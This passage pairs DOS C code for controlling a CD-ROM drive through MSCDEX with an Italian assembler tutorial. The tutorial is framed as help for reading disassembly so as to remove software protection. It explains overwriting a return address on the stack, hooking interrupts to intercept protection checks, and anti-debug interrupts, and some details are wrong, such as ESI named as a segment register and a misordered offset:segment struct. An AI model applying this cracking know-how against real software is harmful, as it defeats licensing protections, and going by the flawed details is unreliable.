                  001 two audio channels with pre-emphasis
                  010 data track
                  100 four audio channels, no pre-emphasis
                  101 four audio channels with pre-emphasis
                  other reserved
            bit 13: digital copy permitted
---function 0Ch---
 01h  BYTE  CONTROL and ADR byte (as received from drive)
 02h  BYTE  track number
 03h  BYTE  point or index
 04h  BYTE  minute      \
 05h  BYTE  second       > running time within track
 06h  BYTE  frame /
 07h  BYTE  zero
 08h  BYTE  "AMIN" or "PMIN"     \
 09h  BYTE  "ASEC" or "PSEC"      > running time on disk
 0Ah  BYTE  "AFRAME" or "PFRAME" /
---function 0Dh---
 01h  DWORD starting frame address (Red Book format)
 05h  DWORD transfer address
 09h  DWORD number of sectors to read
Note: copies 96 bytes of sub-channel info per sector into buffer
---function 0Eh---
 01h  BYTE  CONTROL and ADR byte
 02h  7 BYTEs     UPC/EAN code (13 BCD digits,low-order nybble of last byte is
0)
 09h  BYTE  zero
 0Ah  BYTE  "AFRAME"

Bitfields for CD-ROM device parameters:
Bit(s)      Description (Table 0564)
 0    door open
 1    door unlocked
 2    supports raw reading in addition to cooked
 3    writable
 4    can play audio/video tracks
 5    supports interleaving
 6    reserved
 7    supports prefetch requests
 8    supports audio channel control
 9    supports Red Book addressing in addition to HSG
 10   audio is playing
*/

static union REGS inregs, outregs;
static struct SREGS sregs;


void device_request (void *block)
{
  inregs.x.ax = 0x1510;
  inregs.x.cx = cdrom_data.first_drive;
  inregs.x.bx = FP_OFF (block);
  sregs.es = FP_SEG (block);
  int86x (0x2f, &inregs, &outregs, &sregs);
}


void red_book (unsigned long value, unsigned char *min, unsigned char *sec,
unsigned char *frame)
```

```
{
  *frame = value & 0x000000ff;
  *sec = (value & 0x0000ff00) >> 8;
  *min = (value & 0x00ff0000) >> 16;
}


unsigned long hsg (unsigned long value)
{
  unsigned char min, sec, frame;

  red_book (value, &min, &sec, &frame);
  value = (unsigned long)min * 4500;
  value += (short)sec * 75;
  value += frame - 150;
  return value;
}


unsigned long cd_head_position (void)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned short sector;
    unsigned long  volid;
    unsigned char unused[4];
  } tray_request;

  struct {
    unsigned char mode;
    unsigned char adr_mode;
    unsigned long address;
  } head_data;

  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 3;
  tray_request.media = tray_request.sector = tray_request.volid = 0;
  tray_request.address = (unsigned long)&head_data;
  tray_request.bytes = 6;
  head_data.mode = 0x01;
  head_data.adr_mode = 0x00;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
  return head_data.address;
}


void cd_get_volume (struct volumeinfo *vol)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
```

```
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned short sector;
    unsigned long  volid;
  } tray_request;

  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 3;
  tray_request.media = 0;
  tray_request.media = tray_request.sector = tray_request.volid = 0;
  tray_request.address = (unsigned long)vol;
  tray_request.bytes = 9;
  vol->mode = 0x04;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
}


void cd_set_volume (struct volumeinfo *vol)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned char unused[4];
  } cd_request;

  vol->mode = 3;
  cd_request.length = sizeof (cd_request);
  cd_request.subunit = 0;
  cd_request.comcode = 12;
  cd_request.media = 0;
  cd_request.address = (unsigned long)vol;
  cd_request.bytes = 9;
  device_request (&cd_request);
  cdrom_data.error = cd_request.status;
}


short cd_getupc (void)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned short sector;
    unsigned long  volid;
  } tray_request;
```

```
  struct {
    unsigned char mode;
    unsigned char adr;
    unsigned char upc[7];
    unsigned char zero;
    unsigned char aframe;
  } upc_data;
  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 3;
  tray_request.media = 0;
  tray_request.media = tray_request.sector = tray_request.volid = 0;
  tray_request.address = (unsigned long)&upc_data;
  tray_request.bytes = 11;
  upc_data.mode = 0x0e;
  upc_data.adr = 2;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
  if (upc_data.adr == 0)
    memset (&upc_data.upc, 0, 7);
  memcpy (&cdrom_data.upc[0], &upc_data.upc[0], 7);
  return 1;
}


void cd_get_audio_info (void)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    long address;
    short bytes;
    short sector;
    long volid;
  } ioctli;

  struct {
    unsigned char mode;
    unsigned char lowest;
    unsigned char highest;
    unsigned long address;
  } track_data;

  ioctli.length = sizeof (ioctli);
  ioctli.subunit = 0;
  ioctli.comcode = 3;
  ioctli.media = 0;
  ioctli.sector = 0;
  ioctli.volid = 0;
  ioctli.address = (long)&track_data;
  ioctli.bytes = sizeof (track_data);
  track_data.mode = 0x0a;
  device_request (&ioctli);
  memcpy (&cdrom_data.diskid, &track_data.lowest, 6);
  cdrom_data.low_audio = track_data.lowest;
  cdrom_data.high_audio = track_data.highest;
  red_book (track_data.address, &cdrom_data.disk_length_min,
&cdrom_data.disk_length_sec, &cdrom_data.disk_length_frames);
```

```
  cdrom_data.endofdisk = hsg (track_data.address);
  cdrom_data.error = ioctli.status;
}


void cd_set_track (short tracknum)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned short sector;
    unsigned long  volid;
  } tray_request;

  struct {
    unsigned char mode;
    unsigned char track;
    unsigned long address;
    unsigned char control;
  } track_data;

  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 3;
  tray_request.media = 0;
  tray_request.media = tray_request.sector = tray_request.volid = 0;
  tray_request.address = (unsigned long)&track_data;
  tray_request.bytes = 7;
  track_data.mode = 0x0b;
  track_data.track = tracknum;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
  cdrom_data.track_position = hsg (track_data.address);
  cdrom_data.current_track = tracknum;
  cdrom_data.track_type = track_data.control & TRACK_MASK;
}


unsigned long get_track_length (short tracknum)
{
  unsigned long start, finish;
  unsigned short ct;

  ct = cdrom_data.current_track;
  cd_set_track (tracknum);
  start = cdrom_data.track_position;
  if (tracknum < cdrom_data.high_audio)
  {
    cd_set_track (tracknum+1);
    finish = cdrom_data.track_position;
  }
  else finish = cdrom_data.endofdisk;

  cd_set_track (ct);

  finish -= start;
```

```
  return finish;
}


void cd_track_length (short tracknum, unsigned char *min, unsigned char *sec,
unsigned char *frame)
{
  unsigned long value;

  value = get_track_length (tracknum);
  value += 150;
  *frame = value % 75;
  value -= *frame;
  value /= 75;
  *sec = value % 60;
  value -= *sec;
  value /= 60;
  *min = value;
}


void cd_status (void)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned short sector;
    unsigned long  volid;
  } tray_request;

  struct {
    unsigned char mode;
    unsigned long status;
  } cd_data;

  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 3;
  tray_request.media = 0;
  tray_request.media = tray_request.sector = tray_request.volid = 0;
  tray_request.address = (unsigned long)&cd_data;
  tray_request.bytes = 5;

  cd_data.mode = 0x06;
  device_request (&tray_request);
  cdrom_data.status = cd_data.status;
  cdrom_data.error = tray_request.status;
}


void cd_seek (unsigned long location)
{
  unsigned char min, sec, frame;
  struct {
    unsigned char length;
    unsigned char subunit;
```

```
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char addressmode;
    unsigned long transfer;
    unsigned short sectors;
    unsigned long seekpos;
  } play_request;

  play_request.length = sizeof (play_request);
  play_request.subunit = 0;
  play_request.comcode = 131;
  play_request.addressmode = 0;
  play_request.transfer = 0;
  play_request.sectors = 0;
  play_request.seekpos = location;
  device_request (&play_request);
  cdrom_data.error = play_request.status;
}


void cd_play_audio (unsigned long begin, unsigned long end)
{
  unsigned long leng;

  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char addressmode;
    unsigned long start;
    unsigned long playlength;
  } play_request;

  play_request.length = sizeof (play_request);
  play_request.subunit = 0;
  play_request.comcode = 132;
  play_request.addressmode = 0;
  play_request.start = begin;
  play_request.playlength = end-begin;
  device_request (&play_request);
  cdrom_data.error = play_request.status;
}


void cd_stop_audio (void)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
  } stop_request;

  stop_request.length = sizeof (stop_request);
  stop_request.subunit = 0;
  stop_request.comcode = 133;
  device_request (&stop_request);
  cdrom_data.error = stop_request.status;
```

```
}


void cd_resume_audio (void)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
  } stop_request;

  stop_request.length = sizeof (stop_request);
  stop_request.subunit = 0;
  stop_request.comcode = 136;
  device_request (&stop_request);
  cdrom_data.error = stop_request.status;
}


void cd_cmd (unsigned char mode)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned char unused[4];
  } tray_request;

  unsigned char cd_mode;

  cd_mode = mode;
  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 12;
  tray_request.media = 0;
  tray_request.address = (unsigned long)&cd_mode;
  tray_request.bytes = 1;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
}


void cd_getpos (struct playinfo *info)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned short sector;
    unsigned long  volid;
```

```
  } tray_request;

  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 3;
  tray_request.media = 0;
  tray_request.media = tray_request.sector = tray_request.volid = 0;
  tray_request.address = (unsigned long)info;
  tray_request.bytes = 6;
  info->control = 12;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
}


short cdrom_installed (void)
{
  inregs.h.ah = 0x15;
  inregs.h.al = 0x00;
  inregs.x.bx = 0;
  int86 (0x2f, &inregs, &outregs);
  if (outregs.x.bx == 0)
    return (0);
  cdrom_data.drives = outregs.x.bx;
  cdrom_data.first_drive = outregs.x.cx;
  cd_get_audio_info ();
  return (1);
}


short cd_done_play (void)
{
  cd_cmd (CLOSE_TRAY);
  return ((cdrom_data.error & BUSY) == 0);
}


short cd_mediach (void)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned short sector;
    unsigned long  volid;
  } tray_request;

  struct {
    unsigned char mode;
    unsigned char media;
  } cd_data;

  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 3;
  tray_request.media = 0;
  tray_request.media = tray_request.sector = tray_request.volid = 0;
```

```
  tray_request.address = (unsigned long)&cd_data;
  tray_request.bytes = 2;

  cd_data.mode = 0x09;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
  return cd_data.media;
}


void cd_lock (unsigned char doormode)
{
  struct {
    unsigned char length;
    unsigned char subunit;
    unsigned char comcode;
    unsigned short status;
    char ununsed[8];
    unsigned char media;
    unsigned long address;
    unsigned short bytes;
    unsigned char unused[4];
  } tray_request;

  struct {
    unsigned char mode;
    unsigned char media;
  } cd_data;

  tray_request.length = sizeof (tray_request);
  tray_request.subunit = 0;
  tray_request.comcode = 12;
  tray_request.media = 0;
  tray_request.address = (unsigned long)&cd_data;
  tray_request.bytes = 2;
  cd_data.mode = 1;
  cd_data.media = doormode;
  device_request (&tray_request);
  cdrom_data.error = tray_request.status;
}
```

LINGUAGGIO ASSEMBLER E ARCHITETTURA SOFTWARE

Voglio specificare che questo non vuole essere un manuale dettagliato di programmazione in assembler ma vuole soltanto dare un'infarinatura che vi permetta di analizzare il codice mostrato dai disassemblatori.
Creare un buon manuale dell'assembler Pentium, x86 non è cosa semplice proprio per la complicazione dei processori stessi.
In fase di programmazione esistono specifiche che vi permettono di definire segmenti, macro ecc.
Nei listati riportati dai disassemblatori molte specifiche non sono mostrate in quanto i linguaggi che hanno originato il codice che vedete non sono di fatto assembler, ma qualsiasi altro a partire da Delphi per giungere a Basic ecc.
Anche programmi che sono stati scritti in Macro Assembler dopo essere compilati perdono le loro caratteristiche.
Questi programmi, infatti, fanno riferimento a simboli che il compilatore e il linker traducono in qualche altro modo o che comunque utilizza come direttive.
Oltre a questo considerate che il codice che vedete in un debugger è quello in esecuzione per cui gli indirizzi sono assoluti.
Veniamo al sodo.
Originariamente l'elettronica dei PC è composta da processori dedicati alle varie funzioni che possiedono porte di programmazione e servizi per la richiesta di certe funzionalità, generalmente residenti su ROM presenti sulle schede stesse.
La programmazione diretta dell'hardware del sistema tramite le varie porte di I/O sarebbe una cosa sufficientemente complessa e lunga per cui i costruttori dei personal hanno fornito i sistemi con all'interno un BIOS (Basic Input Output System) che offre servizi di base per la programmazione delle periferiche hardware.
I servizi sono inseriti dentro a quelli che vengono definiti come interrupts che potremmo un pò paragonarli a metodi che possono essere richiamati in qualsiasi istante dai nostri programmi per eseguire diversi tipi di funzioni.
Esistono funzioni d'interrupts legate alla scheda video, adatte a settare la modalità, a stampare caratteri, a settare colori ecc.
Altre funzioni d'interrupts sono legate alle porte di comunicazione seriale e parallela e quindi indirizzate a controllare stampanti e modem.
Anche i dischi possiedono le proprie funzioni d'interrupts per il loro controllo.
Queste funzioni offrono servizi minimali per cui il sistema operativo fornito con il computer aggiunge un altra serie d'interrupts pi ad alto livello che normalmente sono indicati come interrupts del DOS.
Per spiegarmi meglio voglio riportare ad esempio l'interrupt che controlla il disco.
Questo offre servizi minimali come ad esempio leggi un settore oppure scrivi un settore.
Pensate se dovessimo scriverci noi tutte le routine per scrivere in un file e per fare in modo che questo venga strutturato in un insieme che costituisce le diretctory del nostro disco !
Sarebbe una cosa mostruosa.
I servizi del DOS offrono funzionalità come ad esempio APRI UN FILE, LEGGI DAL FILE, CANCELLA IL FILE etc.
Infatti il DOS supportandosi sul Bios eleva le sue funzionalità.
Il discorso degli interrupts è vasto e in alcuni casi complessi per cui in questa sede tralascierò gran parte della teoria per riportare solo le cose che possono essere importanti nel caso in cui si tenti di raggiungere una finalità come quella di sproteggere un programma.
Gli interrupts si suddividono in due parti ovvero gli interrupts hardware e quelli software.
A dire il vero esiste anche un terzo tipo anche se personalmente non oserei definirli come tali.

In pratica questi sono gli interrupts di tabella il cui scopo è quello di fornire l’indirizzo di alcune tabelle di sistema.
In altre parole quando viene chiamato un interrupt il sistema interompe quello che stava facendo salvando i dati da qualche parte, reperisce l’indirizzo dell’interrupt e prosegue l’esecuzione partendo dall’indirizzo reperito.
Negli interrupts di tabella serve solo reperire l’indirizzo in quanto a quell’offset esistono dati utilizzati dal sistema.
Le varie circuiterie elettroniche che compongono l’hardware dei nostri sistemi utilizzano gli interrupts hardware per segnalare alcuni eventi.
Ad esempio un chip che controlla la porta seriale richiama un interrupts per segnalare la ricezione di un carattere.
Gli interrupts possiedono una priorità per cui nel caso in cui vengano chiamati più interrupts l’ordine di esecuzione dipende proprio da questo.
La memoria del sistema possiede una tabella a partire dall’indirizzo 0 che usa per mantenere gli indirizzi dei 256 interrupts possibili.
Ogni indirizzo è costituito da 4 bytes per cui questa tabella è di 1024 bytes (4 * 256).
Nei computers esiste un concetto che è legato a quello che è lo stack che per ora vedremo scorporandolo dal concetto di segmento.
Questo fatidico stack potrebbe essere paragonato allo spunzone dove i baristi infilano gli scontrini delle consumazioni.
Chiaramente il primo scontrino inserito, in fase di estrazione, sarà anche l’ultimo ad essere estratto.
Lo stack in un sistema è una zona della memoria che viene utilizzata per diversi scopi il cui funzionamento si attiene a questa logica.
Lo stack serve per inserirci momentaneamente gli indirizzi di ritorno nelle chiamate subordinate.
Nel caso di chiamate ad interrupts il sistema usa lo stack per inserire gli indirizzi di ritorno al punto in cui è avvenuta la chiamata.
Per chi conosce il Basic posso riportare i due concetti legati al GOTO e al GOSUB.
La prima è una chiamata incondizionata, ovvero il programma interrompe la sequenzialità nella sua esecuzione ed esegue un salto ad un altro punto, senza più ritornare a dove è stata eseguita la chiamata.
La seconda invece necessita della memorizzazione dell’indirizzo di dove è stato eseguito il salto in quanto, dopo aver trovato l’istruzione RETURN, il programma dovrà ritornare al punto d’origine.
Questo avviene anche per la chiamata a funzioni.
Supponiamo che sia abbia il seguente codice.

```
FUNZ_1
      SALVA_INDIRIZZO_NELLO_STACK
      ISTRUZIONE 1
      ISTRUZIONE n
      RIPRISTINA_INDIRIZZO_DALLO_STACK
FINE_FUNZ_1

...
ISTRUZIONE X
CHIAMA_FUNZ_1
ISTRUZIONE Y
```

La funzione salverà l’indirizzo nello stack e lo ripristinerà in uscita.
Lo stack viene utilizzato anche per il salvataggio delle variabili locali, che come molti sanno, hanno un ciclo di vita pari a quello della durata della funzione stessa dove vengono dichiarate.
Ad esempio le variabili a e b vengono inserite nello stack.

```
void  funzione()
{
      int a;
      int b;
      n = a + b;
```

}

Una cosa che potreste trovare interessante.
Abbiamo detto che a e b sono allocate nello stack per cui usando l'operatore del C che restituisce un indirizzo avremo che :

&a e &b

sono due indirizzi che sono riferiti a posti nello stack.
Abbiamo anche detto che una funzione in entrata salva l'indirizzo dove dovr tornare nello stack.
Questo significa che nello stack troveremo :

```
b                  -> ultimo valore allocato nello stack    (2 bytes)
a                  -> penultimo                             (2 bytes)
indirizzo_ritorno -> indrizzo di ritorno                    (4 bytes)
```

Per cui se trattiamo indirizzi a 4 bytes avremo che

&a – 4

corrisponde al posto dove la funzione ha salvato l'indirizzo di ritorno.
Se usassimo il puntatore

***(&a – 4)**

arriveremmo al contenuto ovvero all'indirizzo.
Se a questo punto usassimo il costrutto di prima per assegnare un altro indirizzo potremmo ottenere che in uscita dalla funzione ritorneremmo ad un altro punto che non è quello da cui siamo partiti richiamando la funzione stessa.
Lo stack viene inoltre utilizzato dalle funzioni per salvare i registri che vengono alterati dalle funzioni localmente in modo da non creare problemi alle funzioni chiamanti.
Alcuni registri per convenzione vengono usati per passare i valori alle funzioni e per avere dei valori di ritorno.
Altri registri vengono usati nelle elaborazioni locali della funzione stessa.
I registri non usati per questo tipo di lavoro legato agli argomenti in ingresso ed in uscita possono essere salvati sullo stack in modo tale che il loro utilizzo localmente alla funzione non crei problemi.
Ad esempio potrei usare il registro ESI per qualche motivo e poi chiamare una funzione che utilizza questo registro.

```
Mov   esi, 99
Call  00404FFC
```

A 00404FFC potrei avere

```
Push  esi
Mov   esi, 45
....
Pop   esi
Ret
```

In questo modo il valore ESI verrebbe mantenuto integro anche dopo il suo uso nella funzione chiamata.
Spesso diventa problematico, nel seguire le istruzioni di un programma, capire a che cosa servono le varie Push.
Per schiarirci le idee possiamo seguire una logica.
Le varie Push prima di una call potrebbero servire a passare argomenti.
Le Push all'inizio di una funzione controllate che non corrispondano delle Pop in uscita.
In questo caso servirebbero solo a salvare l'ambiente.

```
:004039D8 push ebx
:004039D9 push esi
:004039DA push edi
:004039DB mov ebx, eax
:004039DD mov esi, edx
:004039DF mov edi, ecx
:004039E1 mov eax, edi
:004039E3 call DIRPRINT.004039B4
:004039E8 mov ecx, edi
:004039EC test esi, esi
:004039EE je 004039F9
:004039F0 mov edx, eax
:004039F2 mov eax, esi
:004039F4 call DIRPRINT.00402878
:004039F9 mov eax, ebx
:004039FB call DIRPRINT.004038F4
:00403A00 mov dword ptr [ebx], edi
:00403A02 pop edi
:00403A03 pop esi
:00403A04 pop ebx
:00403A05 ret
```

Nell'esempio precedente vedete che all'inizio della funzione ci sono tre push alle quali alla fine corrispondono 3 pop.
Notate anche che nei calcoli locali alle funzioni vengono usati proprio quei registri che vengono salvati.
In questo modo viene salvaguardato il loro contenuto.
Parlavamo prima degli interrupts.
Ebbene, anche in questo caso viene usato lo stack in quanto gli indirizzi di ritorno dopo l'esecuzione delle funzioni d'interrupts vengono salvati in questo segmento.
Se volete vedere gli indirizzi di dove si trovano gli interrupts potete andare ad analizzare i primi 1024 bytes di memoria.
Come ?
Spesso chi arriva dal Basic al C si lamenta che il C non possiede funzioni come quelle basic Peek e Poke che servono a leggere e scrivere valori in memoria.
In C queste funzioni non servono a nulla in quanto grazie all'aritmetica dei puntatori sono completamente superflue.
Se io definisco :

```
unsigned int *memory;
```

significa che memory è un puntatore ad una zona di memoria di 2 bytes ovvero le dimensioni di un int.
La dichiarazione precedente non indica ancora a dove punta memory in quanto non gli è stato ancora assegnato un indirizzo.
Se facessi

```
memory = &var_int;
```

assegnerei a memory l'indirizzo di dove si trova var_int.
Potrei però farci un assegnazione diretta ovvero :

```
memory = (unsigned int *) 0xb0000000L;
```

In questo caso il cast forzerebbe a vedere 0xb000000 come se fosse un indirizzo di memoria.
In questo modo facendo :

```
memory = (unsigned int *) 0x00000000L;
```

forzerei memory a puntare all'indirizzo 0 per cui leggendogli il contenuto vedrei l'indirizzo del primo interrupt.
Considerando che ogni indirizzo è di 4 bytes fate presto a fare i calcoli per stabilire l'indirizzo giusto.
Questo metodo riporta i 4 bytes relativi all'indirizzo.
Spesso gli indirizzi vengono memorizzati in memoria nel formato

offset:segmento

Se invece di definire la mia variabile come puntatore a 4 bytes, come potrebbe essere un puntatore ad un long, la definissi come un puntatore ad una struttura del tipo :

```
struct off_seg {
      unsigned int segmento;
      unsigned int offset;
};

struct off_seg *memory = (struct off_seg *) 0x00000000L;
```

Avrei automaticamente i valori dell' offset e del segmento divisi in

```
memory.segmento;
memory.offset;
```

Conoscere l'indirizzo di dove sono ubicate le routines degli interrupts è utile in quanto spesso è necessario sostituirle con nostre funzioni al fine di intercettare certe chiamate.
Alcuni tipi di protezioni erano basate su certi interrupts per cui era necessario capire dove erano chiamate.
I programmi d'intercettazione avevano un flusso di questo tipo :

leggi l' indirizzo di dove si trova l'interrupt desiderato
prendi l'indirizzo della nostra funzione e sostituiscilo

A questo punto ogni volta che veniva chiamato l'interrupts desiderato veniva richiamata la nostra funzione la quale eseguiva il seguente codice.

Guarda perchè è stata chiamata
Esegui quello ce devi fare
Se è il caso invia al vecchio interrupts di cui conosci l'indirizzo

Debuggers come SoftIce hanno la possibilità di visualizzare la mappatura di memoria.
Utilizzando il comando :

MAPV86

si ottiene la visualizzazione di come è mappata la memoria.
Ad esempio :

```
Start       Length
0000:0000   0040        Interrupt Vector Table
0040:0000   0030        ROM BIOS Variables
0070:0000   005A        I/O System
00Ca:0000   014C        DOS
0259:0000   0046        XMSXXXX0
029F:0000   0207        CON
ecc.
```

Alcune funzionalità importantissime legate al debug dei programmi e quindi alle protezioni che cercano di eludere i debugger sono legate ad alcuni interrupts come ad esempio INT1 e INT3.

Fino ad ora abbiamo parlato di segmenti senza definire che cosa si intendeva.
Generalmente potremmo indicare con segmento il termine adatto ad indicare le diverse zone funzionali di un programma.
Un programma possiede in genere di una zona di codice, una di dati e una in cui memorizza le informazioni momentanee (lo stack).
Potremmo usare il termine segmento per indicare queste zone.
Questa abitudine nasce però dal fatto che per motivi tecnici, dal punto di vista elettronico, i programmi usavano questi segmenti che erano zone di 64 Kbytes ciascuno.
Una volta quando i processori erano a 8 e a 16 bits gli address bus dei sistemi erano a 20 bits.
Prima di proseguire diamo una rapida ripassata sul come è strutturato un sistema elettronico in forma generalizzata.

Address Bus
CPU
EAX
EBX
ECX
...
R/W
RAM
N
bytes
I/O
Data Bus

Logicamente potremmo suddividerlo in 5 blocchi logici.
Il primo blocco è quello della CPU alla quale sono demandati tutti i compiti legati all'esecuzione delle istruzioni del sistema.
La CPU, a seconda del tipo, possiede al suo interno l'interprete del microcodice il quale interpreta le istruzioni ma a noi di questo interessa poco.
La cosa pi interessante è legata al fatto che all'interno della CPU sono contenuti dei registri che potremmo paragonarli a variabili che il processore stesso usa per scopi suoi.
Questi registri possiedono una certa dimensione anche se in genere possono essere visti come insiemi di contenitori pi piccoli.
Ad esempio uno di questi registri è chiamato EAX il quale è grosso 32 bits.
Facendo riferimento a EAX utilizziamo un numero a 32 bits.
EAX però può essere visto come registro AX a 16 bits.
A sua volta AX può essere usato come due registri a 8 bits e precisamente in AL e AH.
Fate attenzione che non sono registri a parte per cui se assegnassimo un valore ad AX e poi uno ad AH andremmo a scrivere sopra alle informazioni inserite nella prima istruzione.
In pratica se facessimo

```
MOV   AX, 1
MOV   AH, 1
```

In AX alla fine avremmo il numero rappresentato da quello binario 0000000100000001.
La prima istruzione inserirebbe in AX il valore a 16 bits 1 che espresso in binario sarebbe 0000000000000001.
La seconda istruzione inserirebbe in AH, che equivale alla parte alta di AX, il valore a 8 bits 00000001. Quindi come risultato avremmo quello indicato prima.

In pratica considerate i registri come se fossero delle union del C.
Per chi non lo sapesse in C la dichiarazione della struttura:

```
struct x {
      int a;
      int b;
} n;
```

occuperebbe in memoria la somma dei membri dichiarati nella struttura stessa e a e b sarebbero due variabili divise e distinte.
La dichiarazione:

```
union X {
      int a;
      char ah;
} n;
```

riserverebbe in memoria lo spazio per il maggiore delle variabili definite.
In questo caso per l'unione verrebbero allocati 2 bytes relativi all'int.
La variabile ah utilizza una parte della memoria riservata per a e quindi se noi prima assegnassimo un valore ad a e poi uno ad ah andremmo a sovvrascrivere il valore settato nella prima istruzione.
La CPU possiede diversi registri alcuni usati come accumulatori di uso generale ed altri invece possiedono scopi precisi.
Il registro EIP ad esempio mantiene l'indirizzo dell' istruzione da eseguire.
Altri registri come ad esempio ESI, ECS ecc. sono usati per mantenere gli indirizzi dei segmenti.
Avevamo iniziato prima il discorso di questi segmenti.
Una volta i registri dei processori erano al massimo 16 bits.
Uno dei blocchi del sistema teorico visto prima era quello relativo all'address bus ovvero del bus indirizzi usato per comunicare quale è l'indirizzo interessato n un operazione di lettura o di scrittura.
Se ad esempio la CPU desiderasse leggere un valore dalla RAM dovrebbe indicare l'intenzione di READ mediante un segnale sul pin di R/W tra CPU e memoria e successivamente dovrebbe specificare l'indirizzo interessato tramite l'address bus.
Questo address bus nei sistemi vecchi, prima della comparsa dei processori a 32 bits, era di 20 bits per cui la memoria veniva utilizzata in questo modo.
Tenete presente che anni fa i chips di memoria non contenevano certo dei Mbytes ma spesso non superavano i 32 Kbytes.
Quando si disponeva di chips da 64 Kbytes per raggiungere 640 Kbytes ne erano necessari 10.
Elettronicamente questi erano collegati allo stesso address bus per cui senza una strategia particolare la segnalazione di indirizzo nnnn ad uno equivaleva a far giungere questo segnale a tutti i chips.
Spero che la descrizione data vi permetta di comprendere a grandi linee le necessità che hanno indotto ad adottare il concetto di segmentazione.
Chiaramente la descrizione potremmo definirla semplicistica in quanto le metodologie elettroniche sono sufficentemente complesse ed in continua evoluzione.
Ad ogni modo il discorso dell' address bus a 20 bits è andato avanti per un pò di tempo.
Per chi non avesse seguito l'evoluzione dei personal può pensare al mio caso per farsi un idea a riguardo dei camiamenti tecnici e finanziari.
Pensate che il primo personal lo vidi all'univesità nel 1979 ed era un CEP 20 con basic incorporato.
Quando acquistai il primo personal era il 1983 e si trattava di un PC IBM con 8088 a 4.77 mhz, 256 kbytes (forse espanso in quanto di base mi pare fossero 64 Kbytes) di memoria e floppy a 360 Kbytes (costo L. 6.700.000).
Nel 1986 passai al 386 Wyse (L. 11.200.000).
I primi processori 386 erano bacati per cui l'address bus doveva essere ancora trattato come per i software a 16 bits.

4 bits
DEC
CS CS CS (CS = chip select)
CHIP 1
CHIP 2
CHIP n
16 bits

In pratica il bus a 20 bits indirizzava sull' address bus i primi 16 mediante i quali era possibile indirizzare 64 Kbytes.
Dato che tutti i chip ricevevano il segnale i decoder, al quale giungevano i 4 bits pi alti, inviava il segnale di chip select al chip interessato.
Il metodo funziona indipendentemente dal numero di bytes di chiascun chips in quanto, ad esempio, con meno bytes rimanevano pi bits da inviare sul decoder il quale poteva abilitare pi chip.
Per questo motivo f utilizzato il registro di segmento in quanto 16 bits venivano utilizzati per indicare l'indirizzo, che poteva essere 64 kbytes, e il segmento invece indicava da quale indirizzo contare i 64 kbytes.
L'indirizzo reale può essere ricavato dal seguente calcolo che utilizza i valori in esadecimale.

SSSS0	**valore del segmento shiftato verso sinistra di 4 bits**
AAAA	**indirizzo offset (16 bits 0x0000 – 0xffff)**
RRRRR	**indirizzo reale sull'address bus (20 bits)**

Con la nascita dei processori a 32 bits il discorso non era pi valido in quanto un EIP a 32 bits poteva indirizzare 4 miliardi di bytes senza dover usare il truscolino del segmento o perlomeno i segmenti non erano pi relegati alle dimensioni di 64 Kbytes.
Una tabella più dettagliata per il calcolo dell'indirizzo è la seguente :

8088/8086 Effective Address (EA) Calculation

Description	Clock Cycles
Displacement	6
Base or Index (BX,BP,SI,DI)	5
Displacement+(Base or Index)	9
Base+Index (BP+DI,BX+SI)	7
Base+Index (BP+SI,BX+DI)	8
Base+Index+Displacement (BP+DI,BX+SI)	11
Base+Index+Displacement (BP+SI+disp,BX+DI+disp)	12

- **add 4 cycles for word operands at odd addresses**
- **add 2 cycles for segment override**
- **80188/80186 timings differ from those of the 8088/8086/80286**
-

